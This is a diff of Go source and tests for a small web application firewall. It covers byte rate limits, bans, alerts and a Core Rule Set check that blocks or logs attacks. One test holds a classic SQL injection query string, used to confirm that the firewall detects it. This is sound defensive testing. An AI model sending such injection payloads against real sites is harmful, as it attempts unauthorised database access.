bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE" bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR" bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY" bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
bytesCounted = "SWW_WAF_BYTES_COUNTED" bytesCount = "SWW_BYTES_COUNT"
) )
// The values of SWW_WAF_BYTES_COUNTED. // The values of SWW_BYTES_COUNT.
const ( const (
countResponse = "response" countResponse = "response"
countRequest = "request" countRequest = "request"
@@ -40,7 +40,7 @@ const (
// byteLimit is the byte limit these tests set, as a setting: a request // byteLimit is the byte limit these tests set, as a setting: a request
// with a body and its answer, 100 bytes, go over it. // with a body and its answer, 100 bytes, go over it.
byteLimit = "99" byteLimit = "99"
// minuteBytes is limit_hit for SWW_WAF_BYTES_LIMIT_PER_MINUTE. // minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
minuteBytes = "minute_bytes" minuteBytes = "minute_bytes"
) )
@@ -67,11 +67,8 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
// 70 bytes are within the limit of 99. // 70 bytes are within the limit of 99.
line, _ := s.download() line, _ := s.download()
if line.LimitHit != "" || line.Offence != "" { if line.LimitHit != "" || line.Offence != "" {
t.Errorf( t.Errorf("log line has limit_hit %q and offence %q, want neither",
"log line has limit_hit %q and offence %q, want neither", line.LimitHit, line.Offence)
line.LimitHit,
line.Offence,
)
} }
// 140 bytes are over it. The response is passed on whole, and // 140 bytes are over it. The response is passed on whole, and
@@ -82,35 +79,18 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
line, got := s.download() line, got := s.download()
if got.err != nil || len(got.body) != answerBytes || if got.err != nil || len(got.body) != answerBytes ||
line.ResponseBytes != answerBytes { line.ResponseBytes != answerBytes {
t.Errorf( t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
"got %d bytes (%v), and the log line has response_bytes %d, "+ "want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
"want %d",
len(got.body),
got.err,
line.ResponseBytes,
answerBytes,
)
} }
if line.LimitHit != tc.window+"_bytes" || if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want %s_bytes, limit and %s", line.LimitHit, line.Offence,
"want %s_bytes, limit and %s", line.BanExpires, tc.window, expires)
line.LimitHit,
line.Offence,
line.BanExpires,
tc.window,
expires,
)
} }
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+ wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1) `instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
@@ -121,10 +101,7 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) { func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel() t.Parallel()
s, _ := startWithAnswers( s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
t,
map[string]string{bytesLimitPerMinute: byteLimit},
)
line, _ := s.download() line, _ := s.download()
wantAfterAnswerHeuristic(t, line, "", "null") wantAfterAnswerHeuristic(t, line, "", "null")
@@ -143,16 +120,9 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
// The answer's 70 bytes are over the limit of 50 on their own. // The answer's 70 bytes are over the limit of 50 on their own.
line, got := s.download() line, got := s.download()
if got.err != nil || len(got.body) != answerBytes || if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
line.LimitHit != minuteBytes { t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
t.Errorf( len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
"got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
len(got.body),
got.err,
line.LimitHit,
answerBytes,
minuteBytes,
)
} }
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -168,27 +138,13 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
// The 70 bytes passed on before the app broke off are over the limit of // The 70 bytes passed on before the app broke off are over the limit of
// 50, and ban the client for an hour. // 50, and ban the client for an hour.
line, got := s.requestWithBody( line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
http.MethodGet, requestlog.ActionForward)
client,
"/",
"",
"",
http.StatusOK,
requestlog.ActionForward,
)
if len(got.body) != answerBytes || line.LimitHit != minuteBytes || if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf( t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
"got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+ "want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
"want %d, %s and %s", answerBytes, minuteBytes, expires)
len(got.body),
line.LimitHit,
line.BanExpires,
answerBytes,
minuteBytes,
expires,
)
} }
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -208,33 +164,19 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
t.Run(tc.setting, func(t *testing.T) { t.Run(tc.setting, func(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _, _ := startAppWithAlerts( s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
t, bytesLimitPerMinute: "29", bytesCount: tc.setting,
answerAfterUpgrade, })
map[string]string{
bytesLimitPerMinute: "29", bytesCounted: tc.setting,
},
)
// The client sends 30 bytes and the app 70, each over the limit // The client sends 30 bytes and the app 70, each over the limit
// of 29, which bans the client once the WebSocket has closed. // of 29, which bans the client once the WebSocket has closed.
line := s.webSocket() line := s.webSocket()
if line.LimitHit != minuteBytes || if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
line.Counts.MinuteBytes != tc.counted { t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
t.Errorf( line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
"log line has limit_hit %q and minute_bytes %v, want %s and %v",
line.LimitHit,
line.Counts.MinuteBytes,
minuteBytes,
tc.counted,
)
} }
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
}) })
} }
} }
@@ -257,7 +199,7 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
t.Parallel() t.Parallel()
s, _ := startWithAnswers(t, map[string]string{ s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: byteLimit, bytesCounted: tc.setting, bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
}) })
for i := 1; i <= tc.breaking; i++ { for i := 1; i <= tc.breaking; i++ {
@@ -269,25 +211,14 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
} }
counted := float64(i) * tc.each counted := float64(i) * tc.each
if line.LimitHit != want || if line.LimitHit != want || line.Counts.MinuteBytes != counted {
line.Counts.MinuteBytes != counted { t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
t.Errorf( "want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
"request %d: log line has limit_hit %q and minute_bytes %v, "+ want, counted)
"want %q and %v",
i,
line.LimitHit,
line.Counts.MinuteBytes,
want,
counted,
)
} }
} }
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
}) })
} }
} }
@@ -296,8 +227,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS allowed = "192.0.2.7" // in SWW_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
) )
s, _ := startWithAnswers(t, map[string]string{ s, _ := startWithAnswers(t, map[string]string{
@@ -312,24 +243,11 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"}, {allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
} { } {
for range 2 { for range 2 {
line, _ := s.requestWithBody( line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
http.MethodPost, uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
sent.from, if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
sent.path, t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
uploadHeader, sent.from, sent.path, line.fields["counts"], line.LimitHit)
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
if _, counted := line.fields["counts"]; counted ||
line.LimitHit != "" {
t.Errorf(
"%s %s: log line has counts %v and limit_hit %q, want neither",
sent.from,
sent.path,
line.fields["counts"],
line.LimitHit,
)
} }
} }
} }
@@ -337,11 +255,7 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
// A path that is not exempt is counted, and breaks the limit. // A path that is not exempt is counted, and breaks the limit.
line := s.upload() line := s.upload()
if line.LimitHit != minuteBytes { if line.LimitHit != minuteBytes {
t.Errorf( t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
"log line has limit_hit %q, want %s",
line.LimitHit,
minuteBytes,
)
} }
} }
@@ -358,14 +272,9 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
counted := float64(i * (bodyBytes + answerBytes)) counted := float64(i * (bodyBytes + answerBytes))
if line.LimitHit != "" || line.Counts.MinuteBytes != counted || if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
line.Counts.HourBytes != counted || line.Counts.DayBytes != counted { line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
t.Errorf( t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
"request %d: log line has limit_hit %q and counts %+v, "+ "want none and %v bytes in each window", i, line.LimitHit,
"want none and %v bytes in each window", line.Counts, counted)
i,
line.LimitHit,
line.Counts,
counted,
)
} }
} }
} }
@@ -373,24 +282,13 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) { func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startAppWithAlerts( s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
t, bytesLimitPerMinute: byteLimit,
readAndAnswer, })
map[string]string{
bytesLimitPerMinute: byteLimit,
},
)
start := clk.Now() start := clk.Now()
s.requestWithBody( s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
http.MethodPost, uploadBody, http.StatusOK, requestlog.ActionForward)
client,
"/upload?part=1",
uploadHeader,
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
netblock := netip.MustParsePrefix(client + "/32") netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{ want := bans.Ban{
@@ -433,14 +331,10 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) { func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startAppWithAlerts( s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
t, mode: observe,
readAndAnswer, bytesLimitPerMinute: byteLimit,
map[string]string{ })
mode: observe,
bytesLimitPerMinute: byteLimit,
},
)
start := clk.Now() start := clk.Now()
// No ban sets the client's counters back to zero, so each request // No ban sets the client's counters back to zero, so each request
@@ -450,17 +344,11 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
line := s.upload() line := s.upload()
wantWouldAction(t, line, "") wantWouldAction(t, line, "")
if line.LimitHit != minuteBytes || if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" { line.BanExpires != "" {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
"want %s, limit and none", minuteBytes)
line.LimitHit,
line.Offence,
line.BanExpires,
minuteBytes,
)
} }
} }
@@ -475,18 +363,14 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
notes, _ := waiting[0].Detail["notes"].(bans.Notes) notes, _ := waiting[0].Detail["notes"].(bans.Notes)
alert := banAlert(alerts.EventBan, start, client, bans.Ban{ alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
client + "/32",
), Cause: bans.CauseLimit,
Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes, Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour))) }, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe alert.Detail["mode"] = observe
wantAlerts(t, queue, alert) wantAlerts(t, queue, alert)
} }
func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses( func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _ := startWithAnswers(t, map[string]string{ s, _ := startWithAnswers(t, map[string]string{
@@ -504,14 +388,9 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(
line := s.upload() line := s.upload()
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited) wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
line.Counts.MinuteBytes != bodyBytes+answerBytes { t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
t.Errorf( line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
"log line has limit_hit %q and minute_bytes %v, want minute and %d",
line.LimitHit,
line.Counts.MinuteBytes,
bodyBytes+answerBytes,
)
} }
} }
@@ -561,9 +440,7 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
return return
} }
_, _ = buffered.WriteString( _, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
strings.Repeat("a", answerBytes-1) + "\n",
)
_ = buffered.Flush() _ = buffered.Flush()
} }
} }
@@ -593,12 +470,8 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
s.t.Helper() s.t.Helper()
conn := dial(s.t, s.addr) conn := dial(s.t, s.addr)
send( send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
s.t, ": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
conn,
"GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n",
)
err := conn.SetReadDeadline(time.Now().Add(waitLimit)) err := conn.SetReadDeadline(time.Now().Add(waitLimit))
if err != nil { if err != nil {
@@ -615,11 +488,7 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
_ = res.Body.Close() _ = res.Body.Close()
if res.StatusCode != http.StatusSwitchingProtocols { if res.StatusCode != http.StatusSwitchingProtocols {
s.t.Fatalf( s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
"status %d, want %d",
res.StatusCode,
http.StatusSwitchingProtocols,
)
} }
return conn, reader return conn, reader
@@ -634,22 +503,14 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine {
line := s.out.endedLines(s.t, s.sent+1)[s.sent] line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++ s.sent++
wantLine( wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
s.t,
line,
http.StatusSwitchingProtocols,
requestlog.ActionForward,
)
return line return line
} }
// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a // startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
// test that looks at neither the server nor the alerts. // test that looks at neither the server nor the alerts.
func startWithAnswers( func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
t *testing.T,
env map[string]string,
) (*sender, *clock) {
t.Helper() t.Helper()
s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env) s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
@@ -663,15 +524,8 @@ func startWithAnswers(
func (s *sender) download() (logLine, answer) { func (s *sender) download() (logLine, answer) {
s.t.Helper() s.t.Helper()
return s.requestWithBody( return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
http.MethodGet, requestlog.ActionForward)
client,
"/",
"",
"",
http.StatusOK,
requestlog.ActionForward,
)
} }
// upload is download for a POST request with a body of bodyBytes, and // upload is download for a POST request with a body of bodyBytes, and
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"crypto/rand" "crypto/rand"
@@ -43,7 +43,7 @@ func scheme(r *http.Request, isQuestion bool) string {
// clientGroup is the client a request is counted toward: its IPv4 // clientGroup is the client a request is counted toward: its IPv4
// address, or its IPv6 group, the netblock its IPv6 address is in of the // address, or its IPv6 group, the netblock its IPv6 address is in of the
// length SWW_WAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser // length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4. // usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix { func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
addr = addr.Unmap() addr = addr.Unmap()
+100
View File
@@ -0,0 +1,100 @@
package discriminator
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
// and SWW_WAF_ANOMALY_THRESHOLD.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// coreRuleSet inspects the request with the Core Rule Set, unless
// SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWW_WAF_ANOMALY_THRESHOLD is a match: it adds the tag exploitsignature,
// raises the core_rule_set_match alert, and in block mode refuses the request with 403,
// which is an offence its client's history counts. Its figures are the score
// and the threshold.
type coreRuleSet struct{}
func (coreRuleSet) name() string { return "core_rule_set" }
func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
return nil
}
start := time.Now()
// A question's body has been read into memory, so that reading it here
// cannot fail.
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
rq.requestBytes = int64(len(read))
rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
rq.line.CoreRuleSetRuleIDs = result.RuleIDs
rq.line.CoreRuleSetScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
}
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return nil
}
rq.addTag(config.ExploitSignatureTag)
rq.alertCoreRuleSetMatch(result)
if cfg.WAFMode == config.WAFModeDetect {
return nil
}
rq.blockedByCoreRuleSet = true
return &verdict{
action: requestlog.ActionBlockedByCoreRuleSet,
figures: map[string]any{figureScore: result.Score, "threshold": threshold},
}
}
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
// which the Core Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
"score": result.Score,
"method": rq.in.Method,
"path": rq.in.URL.RequestURI(),
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventCoreRuleSetMatch,
Host: rq.site,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"io" "io"
@@ -12,26 +12,24 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and // The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
// its two modes that inspect requests. // its two modes that inspect requests.
const ( const (
coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD" wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES" wafDisabledRules = "SWW_WAF_DISABLED_RULES"
coreRuleSetExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_WAF_APPS" block = "block"
block = "block" detect = "detect"
detect = "detect"
) )
// formData is the type of a form's body. // formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded" const formData = "application/x-www-form-urlencoded"
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that // sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
// read bodies, 1K as a setting. // setting.
const ( const (
sizeLimit = 1 << 10 sizeLimit = 1 << 10
sizeLimitSetting = "1K" sizeLimitSetting = "1K"
@@ -39,19 +37,14 @@ const (
// sqlInjection asks for / with an SQL injection in its query, which only // sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default // the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. // SWW_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1" const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and // wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
// core_rule_set_score, and that it has duration_core_rule_set_ms, or with no // core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
// score, that it has none of the three: the Core Rule Set did not inspect the // score, that it has none of the three: the Core Rule Set did not inspect the
// request. // request.
func wantCoreRuleSet( func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t *testing.T,
line logLine,
score *int,
ruleIDs ...int,
) {
t.Helper() t.Helper()
if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) { if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
@@ -62,12 +55,9 @@ func wantCoreRuleSet(
switch { switch {
case score == nil && case score == nil &&
(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil): (line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
t.Errorf( t.Errorf("log line has core_rule_set_score %v and "+
"log line has core_rule_set_score %v and "+ "duration_core_rule_set_ms %v, want neither",
"duration_core_rule_set_ms %v, want neither", line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
line.fields["core_rule_set_score"],
line.fields["duration_core_rule_set_ms"],
)
case score != nil && case score != nil &&
(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score): (line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
t.Errorf("log line has core_rule_set_score %v, want %d", t.Errorf("log line has core_rule_set_score %v, want %d",
@@ -92,21 +82,11 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
t,
"",
map[string]string{coreRuleSetMode: tc.mode},
)
wantTags( wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
t, "exploitsignature")
s.request(client, sqlInjection, tc.status, tc.action), wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
"exploitsignature",
)
wantTags(
t,
s.get(client, http.StatusOK, requestlog.ActionForward),
)
}) })
} }
} }
@@ -115,7 +95,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: detect, tagDeny: "exploitsignature", wafMode: detect, tagDeny: "exploitsignature",
}) })
line := s.request(client, sqlInjection, http.StatusForbidden, line := s.request(client, sqlInjection, http.StatusForbidden,
@@ -123,9 +103,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`) wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
} }
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode( func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, attack := range []struct { for _, attack := range []struct {
@@ -164,19 +142,10 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden}, {block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK}, {detect, requestlog.ActionForward, http.StatusOK},
} { } {
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
t,
"",
map[string]string{coreRuleSetMode: tc.mode},
)
line := s.requestWithHeader( line := s.requestWithHeader(client, attack.path, attack.header,
client, tc.status, tc.action)
attack.path,
attack.header,
tc.status,
tc.action,
)
wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...) wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
} }
}) })
@@ -186,11 +155,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) { func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
t,
"",
map[string]string{coreRuleSetMode: block},
)
line := s.request(client, sqlInjection, http.StatusForbidden, line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
@@ -200,18 +165,10 @@ func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) { func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
t,
"",
map[string]string{coreRuleSetMode: block},
)
line := s.request( line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
client, http.StatusOK, requestlog.ActionForward)
"/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
} }
@@ -220,59 +177,37 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
) { ) {
t.Parallel() t.Parallel()
